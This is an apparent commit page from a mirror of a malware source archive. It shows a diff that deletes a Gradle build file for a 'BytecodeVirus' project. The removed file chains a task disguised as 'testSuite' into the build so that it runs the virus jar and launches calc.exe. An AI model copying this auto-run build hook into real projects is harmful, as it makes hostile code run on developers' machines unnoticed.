mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2025-02-22 06:33:40 +00:00
Delete build.gradle
This commit is contained in:
parent
c503e6d7d0
commit
d266470647
@ -1,61 +0,0 @@
|
|||||||
plugins {
|
|
||||||
id 'java'
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
group 'org.example'
|
|
||||||
version '1.0-SNAPSHOT'
|
|
||||||
sourceCompatibility = 1.8
|
|
||||||
build.dependsOn.add("testSuite")
|
|
||||||
|
|
||||||
|
|
||||||
task testSuite(type: JavaExec) {
|
|
||||||
jar
|
|
||||||
classpath = files('build/libs/BytecodeVirus-1.0-SNAPSHOT.jar')
|
|
||||||
classpath += sourceSets.main.runtimeClasspath
|
|
||||||
main = "Goat"
|
|
||||||
}
|
|
||||||
|
|
||||||
void autoBuild(){
|
|
||||||
testSuite
|
|
||||||
String classpath = sourceSets
|
|
||||||
exec {commandLine 'calc.exe'}
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
build{
|
|
||||||
autoBuild();
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
jar {
|
|
||||||
|
|
||||||
manifest {
|
|
||||||
attributes 'Main-Class': 'SelfExamine'
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
task fatJar(type: Jar) {
|
|
||||||
|
|
||||||
doFirst {
|
|
||||||
from { configurations.compile.collect { it.isDirectory() ? it : zipTree(it) } }
|
|
||||||
}
|
|
||||||
exclude 'META-INF/*.RSA', 'META-INF/*.SF','META-INF/*.DSA'
|
|
||||||
manifest {
|
|
||||||
attributes 'Main-Class': 'SelfExamine'
|
|
||||||
}
|
|
||||||
baseName = project.name + '-all'
|
|
||||||
from { configurations.compile.collect { it.isDirectory() ? it : zipTree(it) } }
|
|
||||||
with jar
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
repositories {
|
|
||||||
mavenCentral()
|
|
||||||
}
|
|
||||||
|
|
||||||
dependencies {
|
|
||||||
compile group: 'javassist', name: 'javassist', version: '3.12.0.GA'
|
|
||||||
testCompile group: 'junit', name: 'junit', version: '4.12'
|
|
||||||
}
|
|
Loading…
Reference in New Issue
Block a user